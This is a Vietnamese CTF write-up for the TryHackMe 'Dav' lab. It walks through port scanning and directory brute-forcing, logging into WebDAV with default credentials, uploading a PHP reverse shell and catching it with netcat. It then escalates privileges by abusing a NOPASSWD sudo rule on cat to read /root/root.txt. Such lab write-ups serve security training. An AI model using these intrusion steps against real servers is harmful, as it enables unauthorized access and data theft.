Xin chào, lại là tôi đây. Hôm nay tôi sẽ giải CTF TryHackMe | Dav

Reconnaissance

Vẫn như thông thường, việc đầu tiên cần làm quét các cổng đang mở trên máy chủ mục tiêu

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

Web này chỉ là trang mặc định, phần source cũng không có gì đặc biệt. Tôi sẽ dùng dirsearch để tìm path

[05:39:10] 401 -  459B  - /webdav/index.html                                
[05:39:10] 401 -  459B  - /webdav/                                          
[05:39:10] 401 -  459B  - /webdav/servlet/webdav/      

Khi truy cập vào path này, tôi cần phải có user và pass. Sau 1 lúc tìm hiểu về webdav thì tôi tìm được cách kiểm tra và truy cập webdav với user và pass mặc định. Nó ở đây.

Thử login webdav với cadaver - tool có sẵn trên kali

┌──(neokali)-[~]
└─$ cadaver http://10.10.115.69/webdav
Authentication required for webdav on server `10.10.115.69':
Username: wampp
Password: 
dav:/webdav/> ?
Available commands: 
 ls         cd         pwd        put        get        mget       mput       
 edit       less       mkcol      cat        delete     rmcol      copy       
 move       lock       unlock     discover   steal      showlocks  version    
 checkin    checkout   uncheckout history    label      propnames  chexec     
 propget    propdel    propset    search     set        open       close      
 echo       quit       unset      lcd        lls        lpwd       logout     
 help       describe   about      
Aliases: rm=delete, mkdir=mkcol, mv=move, cp=copy, more=less, quit=exit=bye
dav:/webdav/>

Tôi sẽ thử tạo 1 file txt và upload nó lên webdav, để kiểm tra xem nó có chạy không.

┌──(neokali)-[~]
└─$ echo "TESTING" > test.txt
dav:/webdav/> put test.txt
Uploading test.txt to `/webdav/test.txt':
Progress: [=============================>] 100.0% of 8 bytes succeeded.
dav:/webdav/> 

Truy cập trên web

testing

Thành công. Tôi sẽ thử đẩy reverse shell lên đây

dav:/webdav/> put reshell.php 
Uploading reshell.php to `/webdav/reshell.php':
Progress: [=============================>] 100.0% of 2586 bytes succeeded.
dav:/webdav/> 

Tạo listener với port 2402 - port đã cấu hình bên trong file shell.

nc -nlvp 2402

Bây giờ thì thử truy cập shell vừa tạo

┌──(neokali)-[~]
└─$ nc -lnvp 2402            
listening on [any] 2402 ...
connect to [10.6.0.191] from (UNKNOWN) [10.10.115.69] 50358
Linux ubuntu 4.4.0-159-generic #187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 03:17:08 up  1:06,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (690): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/$ 

Tôi tìm được user flag trong thư mục user merlin

www-data@ubuntu:/$ ls -la /home
ls -la /home
total 16
drwxr-xr-x  4 root   root   4096 Aug 25  2019 .
drwxr-xr-x 22 root   root   4096 Aug 25  2019 ..
drwxr-xr-x  4 merlin merlin 4096 Aug 25  2019 merlin
drwxr-xr-x  2 wampp  wampp  4096 Aug 25  2019 wampp
www-data@ubuntu:/$ cd /home/merlin
cd /home/merlin
www-data@ubuntu:/home/merlin$ ls
ls
user.txt
www-data@ubuntu:/home/merlin$

Privilege escalation

sudo -l

www-data@ubuntu:/home/merlin$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: /bin/cat
www-data@ubuntu:/home/merlin$
[catGTFOBins](https://gtfobins.github.io/gtfobins/cat/):
www-data@ubuntu:/home/merlin$ LFILE=/root/root.txt
LFILE=/root/root.txt
www-data@ubuntu:/home/merlin$ sudo cat "$LFILE"
sudo cat "$LFILE"
1011***********************7afa5
www-data@ubuntu:/home/merlin$ 

Pagination


© 2025. All rights reserved.